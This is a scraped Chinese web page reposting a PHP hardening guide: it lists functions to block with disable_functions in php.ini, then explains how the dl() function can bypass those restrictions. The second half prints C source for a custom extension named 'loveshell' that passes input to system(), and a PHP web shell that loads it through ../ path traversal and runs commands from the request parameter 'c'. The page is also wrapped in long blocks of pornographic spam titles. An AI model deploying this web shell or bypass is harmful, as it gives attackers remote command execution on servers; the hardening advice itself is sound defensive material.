亚洲香蕉成人av网站在线观看_欧美精品成人91久久久久久久_久久久久久久久久久亚洲_热久久视久久精品18亚洲精品_国产精自产拍久久久久久_亚洲色图国产精品_91精品国产网站_中文字幕欧美日韩精品_国产精品久久久久久亚洲调教_国产精品久久一区_性夜试看影院91社区_97在线观看视频国产_68精品久久久久久欧美_欧美精品在线观看_国产精品一区二区久久精品_欧美老女人bb

首頁 > 服務器 > Web服務器 > 正文

php.ini 啟用disable_functions提高安全

2024-09-01 13:46:06
字體:
來源:轉載
供稿:網友
Q. I run a small Apache based webserver for my personal use and it is shared with friends and family. However, most script kiddie try to exploit php application such as wordpress using exec() , passthru() , shell_exec() , system() etc functions. How do I disable these functions to improve my php script security?
A. PHP has a lot of functions which can be used to crack your server if not used properly. You can set list of functions in php.ini using disable_functions directive. This directive allows you to disable certain functions for security reasons. It takes on a comma-delimited list of function names. disable_functions is not affected by Safe Mode. This directive must be set in php.ini For example, you cannot set this in httpd.conf.
Open php.ini file:
# vi /etc/php.ini
Find disable_functions and set new list as follows:
查找disable_functions然后用下面的替換

復制代碼 代碼如下:


disable_functions =phpinfo,exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source


Save and close the file. Restart httpd:

復制代碼 代碼如下:


# service httpd restart


Note that the disable_functions directive can not be used outside of the php.ini file which means that you cannot disable functions on a per-virtualhost or per-directory basis in your httpd.conf file. If we add this to our php.ini file:

iis中設置方法,在c:/windows/php.ini

星外的設置:

復制代碼 代碼如下:


disable_functions =exec,system,passthru,popen,pclose,shell_exec,proc_open,dl,chmod,gzinflate,set_time_limit


建議增加phpinfo等,可以參考上面的設置,以后在使用過程中可能會出現php不支持部分功能的現象,然后大家可以搜索下錯誤提示,去掉相應的函數即可。
支持的越多越不安全,對于采集程序來說需要去掉curl_exec,大家多測試即可。

下面提供一個更完整的版本

復制代碼 代碼如下:


disable_functions =phpinfo,exec,system,passthru,popen,pclose,shell_exec,proc_open,dl,curl_exec,multi_exec,chmod,gzinflate,set_time_limit,



iis中設置后,運行中輸入 iisreset /restart即可。


注意下面的突破方法:建議打開安全模式
PHP是一款功能強大應用廣泛的腳本語言,很大一部分網站都是使用PHP架構的。因為其提供了強大的文件操作功能和與系統交互的功能,所以大部分的服務器都對PHP做了嚴格的限制,包括使用open_basedir限制可以操作的目錄以及使用disable_functions限制程序使用一些可以直接執行系統命令的函數如system,exec,passthru,shell_exec,proc_open等等。但是如果服務器沒有對dl()函數做限制,一樣可以利用dl()函數饒過這些限制。
dl()函數允許在php腳本里動態加載php模塊,默認是加載extension_dir目錄里的擴展,該選項是PHP_INI_SYSTEM范圍可修改的,只能在php.ini或者apache主配置文件里修改。當然,你也可以通過enable_dl選項來關閉動態加載功能,而這個選項默認為On的,事實上也很少人注意到這個。dl()函數在設計時存在安全漏洞,可以用../這種目錄遍歷的方式指定加載任何一個目錄里的so等擴展文件,extension_dir限制可以被隨意饒過。所以我們可以上傳自己的so文件,并且用dl函數加載這個so文件然后利用so文件里的函數執行其他操作,包括系統命令。
PHP_FUNCTION(dl)
{
pval **file;
#ifdef ZTS
if ((strncmp(sapi_module.name, "cgi", 3)!=0) &&
(strcmp(sapi_module.name, "cli")!=0) &&
(strncmp(sapi_module.name, "embed", 5)!=0)) {
php_error_docref(NULL TSRMLS_CC, E_WARNING, "Not supported in multithreaded Web servers - use extension statements in your php.ini");
RETURN_FALSE;
} //驗證是否可以使用dl函數,在多線程web服務器里是禁止的
#endif
/* obtain arguments */
if (ZEND_NUM_ARGS() != 1 || zend_get_parameters_ex(1, &file) == FAILURE) {
WRONG_PARAM_COUNT;
}
convert_to_string_ex(file); //取得參數
if (!PG(enable_dl)) {
php_error_docref(NULL TSRMLS_CC, E_WARNING, "Dynamically loaded extentions aren't enabled");//驗證是否enable_dl,默認為on
} else if (PG(safe_mode)) {
php_error_docref(NULL TSRMLS_CC, E_WARNING, "Dynamically loaded extensions aren't allowed when running in Safe Mode");//驗證是否safe_mode打開
} else {
php_dl(*file, MODULE_TEMPORARY, return_value TSRMLS_CC); //開始調用加載
EG(full_tables_cleanup) = 1;
}
下面是開始處理模塊的加載
void php_dl(pval *file, int type, pval *return_value TSRMLS_DC)
{
void *handle;
char *libpath;
zend_module_entry *module_entry, *tmp;
zend_module_entry *(*get_module)(void);
int error_type;
char *extension_dir; //定義一些變量
if (type==MODULE_PERSISTENT) {
/* Use the configuration hash directly, the INI mechanism is not yet initialized */
if (cfg_get_string("extension_dir", &extension_dir)==FAILURE) {
extension_dir = PHP_EXTENSION_DIR;
}
} else {
extension_dir = PG(extension_dir);
} //取得php.ini里的設置也就是extension_dir的目錄
if (type==MODULE_TEMPORARY) {
error_type = E_WARNING;
} else {
error_type = E_CORE_WARNING;
}
if (extension_dir && extension_dir[0]){
int extension_dir_len = strlen(extension_dir);
libpath = emalloc(extension_dir_len+Z_STRLEN_P(file)+2);
if (IS_SLASH(extension_dir[extension_dir_len-1])) {
sprintf(libpath, "%s%s", extension_dir, Z_STRVAL_P(file)); /* SAFE */
} else {
sprintf(libpath, "%s%c%s", extension_dir, DEFAULT_SLASH, Z_STRVAL_P(file)); /* SAFE */
} //構造最終的so文件的位置,只是簡單的附加,并沒有對傳入的參數做任何檢查,包括open_basedir等
} else {
libpath = estrndup(Z_STRVAL_P(file), Z_STRLEN_P(file));
}
/* load dynamic symbol */
handle = DL_LOAD(libpath); //開始真正的調用了
看到了吧,我們可以調用任意的so了哦!下一步就是編寫自己的so模塊,并且調用他。按照官方提供的模塊編寫方法,我寫了個很簡單的,主要的導出函數loveshell如下:
PHP_FUNCTION(loveshell)
{
char *command;
int command_len;
if (ZEND_NUM_ARGS() != 1 || zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC,"s", &command, &command_len) == FAILURE) {
WRONG_PARAM_COUNT;
}
system(command);
zend_printf("I recieve %s",command);
}
注意由于php4和php5的結構不一樣,所以如果想要能順利調用擴展,那么在php4環境下就要將上面的代碼放到php4環境下編譯,php5的就要在php5環境下編譯。我們將編寫好的擴展上傳到服務器,就可以利用下面的代碼執行命令了:
<?php
dl('../../../../../../../../../www/users/www.cnbct.org/loveshell.so');
$cmd=$_REQUEST[c]." 2>&1>tmp.txt";
loveshell($cmd);
echo "<br>";
echo file_get_contents('tmp.txt');
?>
所以如果想保證服務器的安全,請將這個函數加到disable_functions里或者將安全模式打開吧,在安全模式下dl函數是無條件禁止的?。海?
發表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發表
亚洲香蕉成人av网站在线观看_欧美精品成人91久久久久久久_久久久久久久久久久亚洲_热久久视久久精品18亚洲精品_国产精自产拍久久久久久_亚洲色图国产精品_91精品国产网站_中文字幕欧美日韩精品_国产精品久久久久久亚洲调教_国产精品久久一区_性夜试看影院91社区_97在线观看视频国产_68精品久久久久久欧美_欧美精品在线观看_国产精品一区二区久久精品_欧美老女人bb
国产成人亚洲综合青青| 久久理论片午夜琪琪电影网| 成人欧美一区二区三区在线| 成人xxxxx| 91av在线播放| 亚洲二区在线播放视频| 欧美多人爱爱视频网站| 91在线视频成人| 九九精品在线视频| 欧美精品在线极品| 欧美在线视频观看免费网站| 欧美成人精品一区二区| 欧美人交a欧美精品| 超碰97人人做人人爱少妇| 中文字幕免费精品一区| 精品性高朝久久久久久久| 国产一区二中文字幕在线看| 国产精品情侣自拍| 亚洲丝袜一区在线| 韩国三级日本三级少妇99| 欧美在线视频网站| 91超碰中文字幕久久精品| 日韩av电影手机在线观看| 97视频在线观看播放| 国产精品久久久久久久久久ktv| www.午夜精品| 69久久夜色精品国产69| 欧美猛交免费看| 亚洲成人精品视频| 日韩视频免费看| 亚洲精品成人免费| 欧洲亚洲免费在线| 欧美成人在线免费视频| 久久精品亚洲94久久精品| 中文字幕亚洲欧美日韩在线不卡| 亚洲第一视频网站| 91精品久久久久久久久久久久久| 91九色综合久久| 国产在线精品一区免费香蕉| 91国内免费在线视频| 久青草国产97香蕉在线视频| 欧美国产精品va在线观看| 日韩专区在线播放| 色老头一区二区三区在线观看| 日韩有码在线视频| 成人免费观看网址| 亚洲欧美国产日韩中文字幕| 久久久久久久久久亚洲| 国产日韩欧美夫妻视频在线观看| 中文字幕免费精品一区| 久久理论片午夜琪琪电影网| 欧美激情亚洲一区| 国产91在线播放| 国产精品久久久久aaaa九色| 国产精品一区二区av影院萌芽| 中文字幕日韩在线视频| 日韩精品极品在线观看| 性日韩欧美在线视频| 精品久久久国产| 欧美在线影院在线视频| 国产精品久久久久久久久久东京| 久久久久www| 国产午夜精品美女视频明星a级| 亚洲香蕉成人av网站在线观看| 亚洲影院污污.| 一本大道亚洲视频| 欧美激情va永久在线播放| 韩剧1988在线观看免费完整版| 国产成+人+综合+亚洲欧美丁香花| 国模吧一区二区| 国产不卡av在线免费观看| 国产成人拍精品视频午夜网站| 在线视频日韩精品| 久久久久久久久久国产精品| 欧美性猛交xxxx乱大交极品| 2020国产精品视频| 久久99久久亚洲国产| 91亚洲精品久久久| 一区二区国产精品视频| 亚洲第一区在线| 欧美亚洲成人xxx| 久久国产精品久久国产精品| 欧美另类极品videosbestfree| 夜夜嗨av一区二区三区免费区| 国产一区私人高清影院| 久久久精品视频在线观看| 日本一区二区三区在线播放| 91精品国产综合久久久久久久久| 中文字幕av日韩| 亚洲欧美国产一本综合首页| 红桃视频成人在线观看| 国产一区二区三区网站| 国产va免费精品高清在线观看| 在线观看亚洲视频| 大荫蒂欧美视频另类xxxx| 91高清免费视频| 欧美乱人伦中文字幕在线| 亚洲激情第一页| 国产福利视频一区| 亚洲欧美日韩视频一区| 国产aⅴ夜夜欢一区二区三区| 亚洲老头同性xxxxx| 国产精品偷伦一区二区| 日韩av一区在线| 九色91av视频| 国产欧美精品一区二区三区-老狼| 欧美日韩国产专区| 这里只有精品视频| 亚洲精品小视频在线观看| 日韩中文字幕在线| 中文国产亚洲喷潮| 日韩高清欧美高清| 欧美视频在线看| 欧美最猛性xxxxx(亚洲精品)| 国产精品亚洲第一区| 久久久久久久久久国产精品| 国产精品中文字幕久久久| 国产在线观看91精品一区| 另类图片亚洲另类| 亚洲国产99精品国自产| 国产不卡一区二区在线播放| 国产精品日韩一区| 少妇激情综合网| 日韩在线免费视频| 亚洲日本欧美中文幕| 日韩精品中文字幕视频在线| 在线观看欧美日韩国产| 国模精品视频一区二区三区| 欧美刺激性大交免费视频| 亚洲精品wwww| 久久久国产91| 91沈先生在线观看| 韩国三级电影久久久久久| 成人网欧美在线视频| 免费99精品国产自在在线| 久久精品久久久久电影| 欧美性猛交xxxx黑人猛交| 亚洲色图av在线| 96精品久久久久中文字幕| 97久久精品人搡人人玩| 日本亚洲欧洲色α| 伊人男人综合视频网| 亚洲一区二区久久久| 色综合伊人色综合网站| 久久久精品欧美| 亚洲影影院av| 国产婷婷成人久久av免费高清| 国产精品亚洲一区二区三区| 日韩电影在线观看免费| 国产国产精品人在线视| 久久久久久久久综合| 日韩欧亚中文在线| 国产精品美女免费看| 欧美日韩免费观看中文| 国产精品大片wwwwww| 91久久久久久| 亚洲欧美在线看| 国产精品久久久久久久av大片| 亚洲欧美一区二区三区四区| 精品久久久999| 97色在线视频| 久久久人成影片一区二区三区| 日韩欧美精品网址| 青青久久av北条麻妃海外网|